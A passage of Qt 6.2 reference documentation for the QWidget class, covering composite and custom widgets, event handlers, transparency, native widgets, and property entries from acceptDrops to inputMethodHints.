The diagram above shows a [QGroupBox](qgroupbox) widget being used to hold various child widgets in a layout provided by [QGridLayout](qgridlayout). The [QLabel](qlabel) child widgets have been outlined to indicate their full sizes.

 If you want to use a QWidget to hold child widgets you will usually want to add a layout to the parent QWidget. See [Layout Management](layout) for more information.

 ### Composite Widgets

 When a widget is used as a container to group a number of child widgets, it is known as a composite widget. These can be created by constructing a widget with the required visual properties - a [QFrame](qframe), for example - and adding child widgets to it, usually managed by a layout. The above diagram shows such a composite widget that was created using Qt Designer.

 Composite widgets can also be created by subclassing a standard widget, such as QWidget or [QFrame](qframe), and adding the necessary layout and child widgets in the constructor of the subclass. Many of the [examples provided with Qt](https://doc.qt.io/qt-6.2/examples-widgets.html) use this approach, and it is also covered in the Qt [Tutorials](qtwidgets-index#tutorials).

 ### Custom Widgets and Painting

 Since QWidget is a subclass of [QPaintDevice](qpaintdevice), subclasses can be used to display custom content that is composed using a series of painting operations with an instance of the [QPainter](qpainter) class. This approach contrasts with the canvas-style approach used by the [Graphics View Framework](graphicsview) where items are added to a scene by the application and are rendered by the framework itself.

 Each widget performs all painting operations from within its [paintEvent](qwidget#paintEvent)() function. This is called whenever the widget needs to be redrawn, either as a result of some external change or when requested by the application.

 The [Analog Clock example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-analogclock-example.html) shows how a simple widget can handle paint events.

 ### Size Hints and Size Policies

 When implementing a new widget, it is almost always useful to reimplement [sizeHint](qwidget#sizeHint-prop)() to provide a reasonable default size for the widget and to set the correct size policy with [setSizePolicy](qwidget#sizePolicy-prop)().

 By default, composite widgets which do not provide a size hint will be sized according to the space requirements of their child widgets.

 The size policy lets you supply good default behavior for the layout management system, so that other widgets can contain and manage yours easily. The default size policy indicates that the size hint represents the preferred size of the widget, and this is often good enough for many widgets.

  **Note:** The size of top-level widgets are constrained to 2/3 of the desktop's height and width. You can [resize](qwidget#size-prop)() the widget manually if these bounds are inadequate.

  ### Events

 Widgets respond to events that are typically caused by user actions. Qt delivers events to widgets by calling specific event handler functions with instances of [QEvent](qevent) subclasses containing information about each event.

 If your widget only contains child widgets, you probably do not need to implement any event handlers. If you want to detect a mouse click in a child widget call the child's [underMouse](qwidget#underMouse)() function inside the widget's [mousePressEvent](qwidget#mousePressEvent)().

 The [Scribble example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html) implements a wider set of events to handle mouse movement, button presses, and window resizing.

 You will need to supply the behavior and content for your own widgets, but here is a brief overview of the events that are relevant to QWidget, starting with the most common ones:

 * [paintEvent](qwidget#paintEvent)() is called whenever the widget needs to be repainted. Every widget displaying custom content must implement it. Painting using a [QPainter](qpainter) can only take place in a [paintEvent](qwidget#paintEvent)() or a function called by a [paintEvent](qwidget#paintEvent)().
* [resizeEvent](qwidget#resizeEvent)() is called when the widget has been resized.
* [mousePressEvent](qwidget#mousePressEvent)() is called when a mouse button is pressed while the mouse cursor is inside the widget, or when the widget has grabbed the mouse using [grabMouse](qwidget#grabMouse)(). Pressing the mouse without releasing it is effectively the same as calling [grabMouse](qwidget#grabMouse)().
* [mouseReleaseEvent](qwidget#mouseReleaseEvent)() is called when a mouse button is released. A widget receives mouse release events when it has received the corresponding mouse press event. This means that if the user presses the mouse inside *your* widget, then drags the mouse somewhere else before releasing the mouse button, *your* widget receives the release event. There is one exception: if a popup menu appears while the mouse button is held down, this popup immediately steals the mouse events.
* [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)() is called when the user double-clicks in the widget. If the user double-clicks, the widget receives a mouse press event, a mouse release event, (a mouse click event,) a second mouse press, this event and finally a second mouse release event. (Some mouse move events may also be received if the mouse is not held steady during this operation.) It is *not possible* to distinguish a click from a double-click until the second click arrives. (This is one reason why most GUI books recommend that double-clicks be an extension of single-clicks, rather than trigger a different action.)

 Widgets that accept keyboard input need to reimplement a few more event handlers:

 * [keyPressEvent](qwidget#keyPressEvent)() is called whenever a key is pressed, and again when a key has been held down long enough for it to auto-repeat. The **Tab** and **Shift+Tab** keys are only passed to the widget if they are not used by the focus-change mechanisms. To force those keys to be processed by your widget, you must reimplement [QWidget::event](qwidget#event)().
* [focusInEvent](qwidget#focusInEvent)() is called when the widget gains keyboard focus (assuming you have called [setFocusPolicy](qwidget#focusPolicy-prop)()). Well-behaved widgets indicate that they own the keyboard focus in a clear but discreet way.
* [focusOutEvent](qwidget#focusOutEvent)() is called when the widget loses keyboard focus.

 You may be required to also reimplement some of the less common event handlers:

 * [mouseMoveEvent](qwidget#mouseMoveEvent)() is called whenever the mouse moves while a mouse button is held down. This can be useful during drag and drop operations. If you call [setMouseTracking](qwidget#mouseTracking-prop)(true), you get mouse move events even when no buttons are held down. (See also the [Drag and Drop](graphicsview#drag-and-drop) guide.)
* [keyReleaseEvent](qwidget#keyReleaseEvent)() is called whenever a key is released and while it is held down (if the key is auto-repeating). In that case, the widget will receive a pair of key release and key press event for every repeat. The **Tab** and **Shift+Tab** keys are only passed to the widget if they are not used by the focus-change mechanisms. To force those keys to be processed by your widget, you must reimplement [QWidget::event](qwidget#event)().
* [wheelEvent](qwidget#wheelEvent)() is called whenever the user turns the mouse wheel while the widget has the focus.
* [enterEvent](qwidget#enterEvent)() is called when the mouse enters the widget's screen space. (This excludes screen space owned by any of the widget's children.)
* [leaveEvent](qwidget#leaveEvent)() is called when the mouse leaves the widget's screen space. If the mouse enters a child widget it will not cause a [leaveEvent](qwidget#leaveEvent)().
* [moveEvent](qwidget#moveEvent)() is called when the widget has been moved relative to its parent.
* [closeEvent](qwidget#closeEvent)() is called when the user closes the widget (or when [close](qwidget#close)() is called).

 There are also some rather obscure events described in the documentation for [QEvent::Type](qevent#Type-enum). To handle these events, you need to reimplement [event](qwidget#event)() directly.

 The default implementation of [event](qwidget#event)() handles **Tab** and **Shift+Tab** (to move the keyboard focus), and passes on most of the other events to one of the more specialized handlers above.

 Events and the mechanism used to deliver them are covered in [The Event System](eventsandfilters).

 ### Groups of Functions and Properties

 

| Context | Functions and Properties |
| --- | --- |
| Window functions | [show](qwidget#show)(), [hide](qwidget#hide)(), [raise](qwidget#raise)(), [lower](qwidget#lower)(), [close](qwidget#close)(). |
| Top-level windows | [windowModified](qwidget#windowModified-prop), [windowTitle](qwidget#windowTitle-prop), [windowIcon](qwidget#windowIcon-prop), [isActiveWindow](qwidget#isActiveWindow-prop), [activateWindow](qwidget#activateWindow)(), [minimized](qwidget#minimized-prop), [showMinimized](qwidget#showMinimized)(), [maximized](qwidget#maximized-prop), [showMaximized](qwidget#showMaximized)(), [fullScreen](qwidget#fullScreen-prop), [showFullScreen](qwidget#showFullScreen)(), [showNormal](qwidget#showNormal)(). |
| Window contents | [update](qwidget#update)(), [repaint](qwidget#repaint)(), [scroll](qwidget#scroll)(). |
| Geometry | [pos](qwidget#pos-prop), [x](qwidget#x-prop)(), [y](qwidget#y-prop)(), [rect](qwidget#rect-prop), [size](qwidget#size-prop), [width](qwidget#width-prop)(), [height](qwidget#height-prop)(), [move](qwidget#pos-prop)(), [resize](qwidget#size-prop)(), [sizePolicy](qwidget#sizePolicy-prop), [sizeHint](qwidget#sizeHint-prop)(), [minimumSizeHint](qwidget#minimumSizeHint-prop)(), [updateGeometry](qwidget#updateGeometry)(), [layout](qwidget#layout)(), [frameGeometry](qwidget#frameGeometry-prop), [geometry](qwidget#geometry-prop), [childrenRect](qwidget#childrenRect-prop), [childrenRegion](qwidget#childrenRegion-prop), [adjustSize](qwidget#adjustSize)(), [mapFromGlobal](qwidget#mapFromGlobal)(), [mapToGlobal](qwidget#mapToGlobal)(), [mapFromParent](qwidget#mapFromParent)(), [mapToParent](qwidget#mapToParent)(), [maximumSize](qwidget#maximumSize-prop), [minimumSize](qwidget#minimumSize-prop), [sizeIncrement](qwidget#sizeIncrement-prop), [baseSize](qwidget#baseSize-prop), [setFixedSize](qwidget#setFixedSize)() |
| Mode | [visible](qwidget#visible-prop), [isVisibleTo](qwidget#isVisibleTo)(), [enabled](qwidget#enabled-prop), [isEnabledTo](qwidget#isEnabledTo)(), [modal](qwidget#modal-prop), [isWindow](qwidget#isWindow)(), [mouseTracking](qwidget#mouseTracking-prop), [updatesEnabled](qwidget#updatesEnabled-prop), [visibleRegion](qwidget#visibleRegion)(). |
| Look and feel | [style](qwidget#style)(), [setStyle](qwidget#setStyle)(), [styleSheet](stylesheet), [cursor](qwidget#cursor-prop), [font](stylesheet-reference#font), [palette](qwidget#palette-prop), [backgroundRole](qwidget#backgroundRole)(), [setBackgroundRole](qwidget#setBackgroundRole)(), [fontInfo](qwidget#fontInfo)(), [fontMetrics](qwidget#fontMetrics)(). |
| Keyboard focus functions | [focus](qwidget#focus-prop), [focusPolicy](qwidget#focusPolicy-prop), [setFocus](qwidget#setFocus-1)(), [clearFocus](qwidget#clearFocus)(), [setTabOrder](qwidget#setTabOrder)(), [setFocusProxy](qwidget#setFocusProxy)(), [focusNextChild](qwidget#focusNextChild)(), [focusPreviousChild](qwidget#focusPreviousChild)(). |
| Mouse and keyboard grabbing | [grabMouse](qwidget#grabMouse)(), [releaseMouse](qwidget#releaseMouse)(), [grabKeyboard](qwidget#grabKeyboard)(), [releaseKeyboard](qwidget#releaseKeyboard)(), [mouseGrabber](qwidget#mouseGrabber)(), [keyboardGrabber](qwidget#keyboardGrabber)(). |
| Event handlers | [event](qwidget#event)(), [mousePressEvent](qwidget#mousePressEvent)(), [mouseReleaseEvent](qwidget#mouseReleaseEvent)(), [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), [keyPressEvent](qwidget#keyPressEvent)(), [keyReleaseEvent](qwidget#keyReleaseEvent)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [wheelEvent](qwidget#wheelEvent)(), [enterEvent](qwidget#enterEvent)(), [leaveEvent](qwidget#leaveEvent)(), [paintEvent](qwidget#paintEvent)(), [moveEvent](qwidget#moveEvent)(), [resizeEvent](qwidget#resizeEvent)(), [closeEvent](qwidget#closeEvent)(), [dragEnterEvent](qwidget#dragEnterEvent)(), [dragMoveEvent](qwidget#dragMoveEvent)(), [dragLeaveEvent](qwidget#dragLeaveEvent)(), [dropEvent](qwidget#dropEvent)(), [childEvent](qobject#childEvent)(), [showEvent](qwidget#showEvent)(), [hideEvent](qwidget#hideEvent)(), [customEvent](qobject#customEvent)(). [changeEvent](qwidget#changeEvent)(), |
| System functions | [parentWidget](qwidget#parentWidget)(), [window](qwidget#window)(), [setParent](qwidget#setParent)(), [winId](qwidget#winId)(), [find](qwidget#find)(), [metric](qwidget#metric)(). |
| Context menu | [contextMenuPolicy](qwidget#contextMenuPolicy-prop), [contextMenuEvent](qwidget#contextMenuEvent)(), [customContextMenuRequested](qwidget#customContextMenuRequested)(), [actions](qwidget#actions)() |
| Interactive help | [setToolTip](qwidget#toolTip-prop)(), [setWhatsThis](qwidget#whatsThis-prop)() |

 ### Widget Style Sheets

 In addition to the standard widget styles for each platform, widgets can also be styled according to rules specified in a [style sheet](stylesheet). This feature enables you to customize the appearance of specific widgets to provide visual cues to users about their purpose. For example, a button could be styled in a particular way to indicate that it performs a destructive action.

 The use of widget style sheets is described in more detail in the [Qt Style Sheets](stylesheet) document.

 ### Transparency and Double Buffering

 Since Qt 4.0, QWidget automatically double-buffers its painting, so there is no need to write double-buffering code in [paintEvent](qwidget#paintEvent)() to avoid flicker.

 Since Qt 4.1, the contents of parent widgets are propagated by default to each of their children as long as [Qt::WA\_PaintOnScreen](qt#WidgetAttribute-enum) is not set. Custom widgets can be written to take advantage of this feature by updating irregular regions (to create non-rectangular child widgets), or painting with colors that have less than full alpha component. The following diagram shows how attributes and properties of a custom widget can be fine-tuned to achieve different effects.

 ![]


In the above diagram, a semi-transparent rectangular child widget with an area removed is constructed and added to a parent widget (a [QLabel](qlabel) showing a pixmap). Then, different properties and widget attributes are set to achieve different effects:

 * The left widget has no additional properties or widget attributes set. This default state suits most custom widgets using transparency, are irregularly-shaped, or do not paint over their entire area with an opaque brush.
* The center widget has the [autoFillBackground](qwidget#autoFillBackground-prop) property set. This property is used with custom widgets that rely on the widget to supply a default background, and do not paint over their entire area with an opaque brush.
* The right widget has the [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum) widget attribute set. This indicates that the widget will paint over its entire area with opaque colors. The widget's area will initially be *uninitialized*, represented in the diagram with a red diagonal grid pattern that shines through the overpainted area. The Qt::WA\_OpaquePaintArea attribute is useful for widgets that need to paint their own specialized contents quickly and do not need a default filled background.

 To rapidly update custom widgets with simple background colors, such as real-time plotting or graphing widgets, it is better to define a suitable background color (using [setBackgroundRole](qwidget#setBackgroundRole)() with the [QPalette::Window](qpalette#ColorRole-enum) role), set the [autoFillBackground](qwidget#autoFillBackground-prop) property, and only implement the necessary drawing functionality in the widget's [paintEvent](qwidget#paintEvent)().

 To rapidly update custom widgets that constantly paint over their entire areas with opaque content, e.g., video streaming widgets, it is better to set the widget's [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum), avoiding any unnecessary overhead associated with repainting the widget's background.

 If a widget has both the [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum) widget attribute *and* the [autoFillBackground](qwidget#autoFillBackground-prop) property set, the [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum) attribute takes precedence. Depending on your requirements, you should choose either one of them.

 Since Qt 4.1, the contents of parent widgets are also propagated to standard Qt widgets. This can lead to some unexpected results if the parent widget is decorated in a non-standard way, as shown in the diagram below.

 ![]


The scope for customizing the painting behavior of standard Qt widgets, without resorting to subclassing, is slightly less than that possible for custom widgets. Usually, the desired appearance of a standard widget can be achieved by setting its [autoFillBackground](qwidget#autoFillBackground-prop) property.

 ### Creating Translucent Windows

 Since Qt 4.5, it has been possible to create windows with translucent regions on window systems that support compositing.

 To enable this feature in a top-level widget, set its [Qt::WA\_TranslucentBackground](qt#WidgetAttribute-enum) attribute with [setAttribute](qwidget#setAttribute)() and ensure that its background is painted with non-opaque colors in the regions you want to be partially transparent.

 Platform notes:

 * X11: This feature relies on the use of an X server that supports ARGB visuals and a compositing window manager.
* Windows: The widget needs to have the [Qt::FramelessWindowHint](qt#WindowType-enum) window flag set for the translucency to work.
* macOS: The widget needs to have the [Qt::FramelessWindowHint](qt#WindowType-enum) window flag set for the translucency to work.

 ### Native Widgets vs Alien Widgets

 Introduced in Qt 4.4, alien widgets are widgets unknown to the windowing system. They do not have a native window handle associated with them. This feature significantly speeds up widget painting, resizing, and removes flicker.

 Should you require the old behavior with native windows, you can choose one of the following options:

 1. Use the `QT_USE_NATIVE_WINDOWS=1` in your environment.
2. Set the [Qt::AA\_NativeWindows](qt#ApplicationAttribute-enum) attribute on your application. All widgets will be native widgets.
3. Set the [Qt::WA\_NativeWindow](qt#WidgetAttribute-enum) attribute on widgets: The widget itself and all of its ancestors will become native (unless [Qt::WA\_DontCreateNativeAncestors](qt#WidgetAttribute-enum) is set).
4. Call [QWidget::winId](qwidget#winId) to enforce a native window (this implies 3).
5. Set the [Qt::WA\_PaintOnScreen](qt#WidgetAttribute-enum) attribute to enforce a native window (this implies 3).

 **See also** [QEvent](qevent), [QPainter](qpainter), [QGridLayout](qgridlayout), and [QBoxLayout](qboxlayout).

 Member Type Documentation
-------------------------

 ### enum QWidget::RenderFlagflags QWidget::RenderFlags

 This enum describes how to render the widget when calling [QWidget::render](qwidget#render)().

 

| Constant | Value | Description |
| --- | --- | --- |
| `QWidget::DrawWindowBackground` | `0x1` | If you enable this option, the widget's background is rendered into the target even if [autoFillBackground](qwidget#autoFillBackground-prop) is not set. By default, this option is enabled. |
| `QWidget::DrawChildren` | `0x2` | If you enable this option, the widget's children are rendered recursively into the target. By default, this option is enabled. |
| `QWidget::IgnoreMask` | `0x4` | If you enable this option, the widget's [QWidget::mask](qwidget#mask)() is ignored when rendering into the target. By default, this option is disabled. |

 The RenderFlags type is a typedef for [QFlags](qflags)<RenderFlag>. It stores an OR combination of RenderFlag values.

  Property Documentation
----------------------

 ### 
acceptDrops : bool

 This property holds whether drop events are enabled for this widget

 Setting this property to true announces to the system that this widget *may* be able to accept drop events.

 If the widget is the desktop ([windowType](qwidget#windowType)() == [Qt::Desktop](qt#WindowType-enum)), this may fail if another application is using the desktop; you can call acceptDrops() to test if this occurs.

  **Warning:** Do not modify this property in a drag and drop event handler.

  By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **acceptDrops**() const |
|  void  | **setAcceptDrops**(bool *on*) |

 **See also** [Drag and Drop](graphicsview#drag-and-drop).

 ### 
accessibleDescription : [QString](qstring)

 This property holds the widget's description as seen by assistive technologies

 The accessible description of a widget should convey what a widget does. While the [accessibleName](qwidget#accessibleName-prop) should be a short and concise string (e.g. **Save**), the description should give more context, such as **Saves the current document**.

 This property has to be [localized](internationalization).

 By default, this property contains an empty string and Qt falls back to using the tool tip to provide this information.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **accessibleDescription**() const |
|  void  | **setAccessibleDescription**(const QString &*description*) |

 **See also** [QWidget::accessibleName](qwidget#accessibleName-prop) and [QAccessibleInterface::text](qaccessibleinterface#text)().

 ### 
accessibleName : [QString](qstring)

 This property holds the widget's name as seen by assistive technologies

 This is the primary name by which assistive technology such as screen readers announce this widget. For most widgets setting this property is not required. For example for [QPushButton](qpushbutton) the button's text will be used.

 It is important to set this property when the widget does not provide any text. For example a button that only contains an icon needs to set this property to work with screen readers. The name should be short and equivalent to the visual information conveyed by the widget.

 This property has to be [localized](internationalization).

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **accessibleName**() const |
|  void  | **setAccessibleName**(const QString &*name*) |

 **See also** [QWidget::accessibleDescription](qwidget#accessibleDescription-prop) and [QAccessibleInterface::text](qaccessibleinterface#text)().

 ### 
autoFillBackground : bool

 This property holds whether the widget background is filled automatically

 If enabled, this property will cause Qt to fill the background of the widget before invoking the paint event. The color used is defined by the [QPalette::Window](qpalette#ColorRole-enum) color role from the widget's [palette](qpalette).

 In addition, Windows are always filled with [QPalette::Window](qpalette#ColorRole-enum), unless the WA\_OpaquePaintEvent or WA\_NoSystemBackground attributes are set.

 This property cannot be turned off (i.e., set to false) if a widget's parent has a static gradient for its background.

  **Warning:** Use this property with caution in conjunction with [Qt Style Sheets](stylesheet). When a widget has a style sheet with a valid background or a border-image, this property is automatically disabled.

  By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **autoFillBackground**() const |
|  void  | **setAutoFillBackground**(bool *enabled*) |

 **See also** [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum), [Qt::WA\_NoSystemBackground](qt#WidgetAttribute-enum), and [Transparency and Double Buffering](qwidget#transparency-and-double-buffering).

 ### 
baseSize : [QSize](qsize)

 This property holds the base size of the widget

 The base size is used to calculate a proper widget size if the widget defines [sizeIncrement](qwidget#sizeIncrement-prop)().

 By default, for a newly-created widget, this property contains a size with zero width and height.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **baseSize**() const |
|  void  | **setBaseSize**(const QSize &) |
|  void  | **[setBaseSize](qwidget#setBaseSize-1)**(int *basew*, int *baseh*) |

 **See also** [setSizeIncrement](qwidget#sizeIncrement-prop)().

 ### 
`[read-only]` childrenRect : const [QRect](qrect)

 This property holds the bounding rectangle of the widget's children

 Hidden children are excluded.

 By default, for a widget with no children, this property contains a rectangle with zero width and height located at the origin.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **childrenRect**() const |

 **See also** [childrenRegion](qwidget#childrenRegion-prop)() and [geometry](qwidget#geometry-prop)().

 ### 
`[read-only]` childrenRegion : const [QRegion](qregion)

 This property holds the combined region occupied by the widget's children

 Hidden children are excluded.

 By default, for a widget with no children, this property contains an empty region.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRegion  | **childrenRegion**() const |

 **See also** [childrenRect](qwidget#childrenRect-prop)(), [geometry](qwidget#geometry-prop)(), and [mask](qwidget#mask)().

 ### 
contextMenuPolicy : [Qt::ContextMenuPolicy](qt#ContextMenuPolicy-enum)

 how the widget shows a context menu

 The default value of this property is [Qt::DefaultContextMenu](qt#ContextMenuPolicy-enum), which means the [contextMenuEvent](qwidget#contextMenuEvent)() handler is called. Other values are [Qt::NoContextMenu](qt#ContextMenuPolicy-enum), [Qt::PreventContextMenu](qt#ContextMenuPolicy-enum), [Qt::ActionsContextMenu](qt#ContextMenuPolicy-enum), and [Qt::CustomContextMenu](qt#ContextMenuPolicy-enum). With [Qt::CustomContextMenu](qt#ContextMenuPolicy-enum), the signal [customContextMenuRequested](qwidget#customContextMenuRequested)() is emitted.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::ContextMenuPolicy  | **contextMenuPolicy**() const |
|  void  | **setContextMenuPolicy**(Qt::ContextMenuPolicy *policy*) |

 **See also** [contextMenuEvent](qwidget#contextMenuEvent)(), [customContextMenuRequested](qwidget#customContextMenuRequested)(), and [actions](qwidget#actions)().

 ### 
cursor : [QCursor](qcursor)

 This property holds the cursor shape for this widget

 The mouse cursor will assume this shape when it's over this widget. See the [list of predefined cursor objects](qt#CursorShape-enum) for a range of useful shapes.

 An editor widget might use an I-beam cursor:

 
```
setCursor(Qt::IBeamCursor);
```
 If no cursor has been set, or after a call to unsetCursor(), the parent's cursor is used.

 By default, this property contains a cursor with the [Qt::ArrowCursor](qt#CursorShape-enum) shape.

 Some underlying window implementations will reset the cursor if it leaves a widget even if the mouse is grabbed. If you want to have a cursor set for all widgets, even when outside the window, consider [QGuiApplication::setOverrideCursor](qguiapplication#setOverrideCursor)().

 **Access functions:**

 

|  |  |
| --- | --- |
|  QCursor  | **cursor**() const |
|  void  | **setCursor**(const QCursor &) |
|  void  | **unsetCursor**() |

 **See also** [QGuiApplication::setOverrideCursor](qguiapplication#setOverrideCursor)().

 ### 
enabled : bool

 This property holds whether the widget is enabled

 In general an enabled widget handles keyboard and mouse events; a disabled widget does not. An exception is made with [QAbstractButton](qabstractbutton).

 Some widgets display themselves differently when they are disabled. For example a button might draw its label grayed out. If your widget needs to know when it becomes enabled or disabled, you can use the [changeEvent](qwidget#changeEvent)() with type [QEvent::EnabledChange](qevent#Type-enum).

 Disabling a widget implicitly disables all its children. Enabling respectively enables all child widgets unless they have been explicitly disabled. It it not possible to explicitly enable a child widget which is not a window while its parent widget remains disabled.

 By default, this property is `true`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isEnabled**() const |
|  void  | **setEnabled**(bool) |

 **See also** [isEnabledTo](qwidget#isEnabledTo)(), [QKeyEvent](qkeyevent), [QMouseEvent](qmouseevent), and [changeEvent](qwidget#changeEvent)().

 ### 
`[read-only]` focus : const bool

 This property holds whether this widget (or its focus proxy) has the keyboard input focus

 By default, this property is `false`.

  **Note:** Obtaining the value of this property for a widget is effectively equivalent to checking whether [QApplication::focusWidget](qapplication#focusWidget)() refers to the widget.

  **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasFocus**() const |

 **See also** [setFocus](qwidget#setFocus-1)(), [clearFocus](qwidget#clearFocus)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), and [QApplication::focusWidget](qapplication#focusWidget)().

 ### 
focusPolicy : [Qt::FocusPolicy](qt#FocusPolicy-enum)

 This property holds the way the widget accepts keyboard focus

 The policy is [Qt::TabFocus](qt#FocusPolicy-enum) if the widget accepts keyboard focus by tabbing, [Qt::ClickFocus](qt#FocusPolicy-enum) if the widget accepts focus by clicking, [Qt::StrongFocus](qt#FocusPolicy-enum) if it accepts both, and [Qt::NoFocus](qt#FocusPolicy-enum) (the default) if it does not accept focus at all.

 You must enable keyboard focus for a widget if it processes keyboard events. This is normally done from the widget's constructor. For instance, the [QLineEdit](qlineedit) constructor calls setFocusPolicy([Qt::StrongFocus](qt#FocusPolicy-enum)).

 If the widget has a focus proxy, then the focus policy will be propagated to it.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::FocusPolicy  | **focusPolicy**() const |
|  void  | **setFocusPolicy**(Qt::FocusPolicy *policy*) |

 **See also** [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [keyPressEvent](qwidget#keyPressEvent)(), [keyReleaseEvent](qwidget#keyReleaseEvent)(), and [enabled](qwidget#enabled-prop).

 ### 
font : [QFont](qfont)

 This property holds the font currently set for the widget

 This property describes the widget's requested font. The font is used by the widget's style when rendering standard components, and is available as a means to ensure that custom widgets can maintain consistency with the native platform's look and feel. It's common that different platforms, or different styles, define different fonts for an application.

 When you assign a new font to a widget, the properties from this font are combined with the widget's default font to form the widget's final font. You can call [fontInfo](qwidget#fontInfo)() to get a copy of the widget's final font. The final font is also used to initialize [QPainter](qpainter)'s font.

 The default depends on the system environment. [QApplication](qapplication) maintains a system/theme font which serves as a default for all widgets. There may also be special font defaults for certain types of widgets. You can also define default fonts for widgets yourself by passing a custom font and the name of a widget to [QApplication::setFont](qapplication#setFont)(). Finally, the font is matched against Qt's font database to find the best match.

 [QWidget](qwidget) propagates explicit font properties from parent to child. If you change a specific property on a font and assign that font to a widget, that property will propagate to all the widget's children, overriding any system defaults for that property. Note that fonts by default don't propagate to windows (see [isWindow](qwidget#isWindow)()) unless the [Qt::WA\_WindowPropagation](qt#WidgetAttribute-enum) attribute is enabled.

 [QWidget](qwidget)'s font propagation is similar to its palette propagation.

 The current style, which is used to render the content of all standard Qt widgets, is free to choose to use the widget font, or in some cases, to ignore it (partially, or completely). In particular, certain styles like GTK style, Mac style, and Windows Vista style, apply special modifications to the widget font to match the platform's native look and feel. Because of this, assigning properties to a widget's font is not guaranteed to change the appearance of the widget. Instead, you may choose to apply a [styleSheet](stylesheet).

  **Note:** If [Qt Style Sheets](stylesheet) are used on the same widget as setFont(), style sheets will take precedence if the settings conflict.

  **Access functions:**

 

|  |  |
| --- | --- |
|  const QFont & | **font**() const |
|  void  | **setFont**(const QFont &) |

 **See also** [fontInfo](qwidget#fontInfo)() and [fontMetrics](qwidget#fontMetrics)().

 ### 
`[read-only]` frameGeometry : const [QRect](qrect)

 geometry of the widget relative to its parent including any window frame

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property contains a value that depends on the user's platform and screen geometry.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **frameGeometry**() const |

 **See also** [geometry](qwidget#geometry-prop)(), [x](qwidget#x-prop)(), [y](qwidget#y-prop)(), and [pos](qwidget#pos-prop)().

 ### 
`[read-only]` frameSize : const [QSize](qsize)

 This property holds the size of the widget including any window frame

 By default, this property contains a value that depends on the user's platform and screen geometry.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **frameSize**() const |

 ### 
`[read-only]` fullScreen : const bool

 This property holds whether the widget is shown in full screen mode

 A widget in full screen mode occupies the whole screen area and does not display window decorations, such as a title bar.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isFullScreen**() const |

 **See also** [windowState](qwidget#windowState)(), [minimized](qwidget#minimized-prop), and [maximized](qwidget#maximized-prop).

 ### 
geometry : [QRect](qrect)

 This property holds the geometry of the widget relative to its parent and excluding the window frame

 When changing the geometry, the widget, if visible, receives a move event ([moveEvent](qwidget#moveEvent)()) and/or a resize event ([resizeEvent](qwidget#resizeEvent)()) immediately. If the widget is not currently visible, it is guaranteed to receive appropriate events before it is shown.

 The size component is adjusted if it lies outside the range defined by [minimumSize](qwidget#minimumSize-prop)() and [maximumSize](qwidget#maximumSize-prop)().

  **Warning:** Calling setGeometry() inside [resizeEvent](qwidget#resizeEvent)() or [moveEvent](qwidget#moveEvent)() can lead to infinite recursion.

  See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property contains a value that depends on the user's platform and screen geometry.

 **Access functions:**

 

|  |  |
| --- | --- |
|  const QRect & | **geometry**() const |
|  void  | **[setGeometry](qwidget#setGeometry-1)**(int *x*, int *y*, int *w*, int *h*) |
|  void  | **setGeometry**(const QRect &) |

 **See also** [frameGeometry](qwidget#frameGeometry-prop)(), [rect](qwidget#rect-prop)(), [move](qwidget#pos-prop)(), [resize](qwidget#size-prop)(), [moveEvent](qwidget#moveEvent)(), [resizeEvent](qwidget#resizeEvent)(), [minimumSize](qwidget#minimumSize-prop)(), and [maximumSize](qwidget#maximumSize-prop)().

 ### 
`[read-only]` height : const int

 This property holds the height of the widget excluding any window frame

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property contains a value that depends on the user's platform and [screen geometry](qscreen#geometry-prop).

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **height**() const |

 **See also** [geometry](qwidget#geometry-prop), [width](qwidget#width-prop), and [size](qwidget#size-prop).

 ### 
inputMethodHints : [Qt::InputMethodHints](qt#InputMethodHint-enum)

 What input method specific hints the widget has.

 This is only relevant for input widgets. It is used by the input method to retrieve hints as to how the input method should operate. For example, if the [Qt::ImhFormattedNumbersOnly](qt#InputMethodHint-enum) flag is set, the input method may change its visual components to reflect that only numbers can be entered.

  **Warning:** Some widgets require certain flags in order to work as intended. To set a flag, do `w->setInputMethodHints(w->inputMethodHints()|f)` instead of `w->setInputMethodHints(f)`.

   **Note:** The flags are only hints, so the particular input method implementation is free to ignore them. If you want to be sure that a certain type of characters are entered, you should also set a [QValidator](qvalidator) on the widget.

  The default value is [Qt::ImhNone](qt#InputMethodHint-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::InputMethodHints  | **inputMethodHints**() const |
|  void  | **setInputMethodHints**(Qt::InputMethodHints *hints*) |

 **See also** [inputMethodQuery](qwidget#inputMethodQuery)().

 ### 
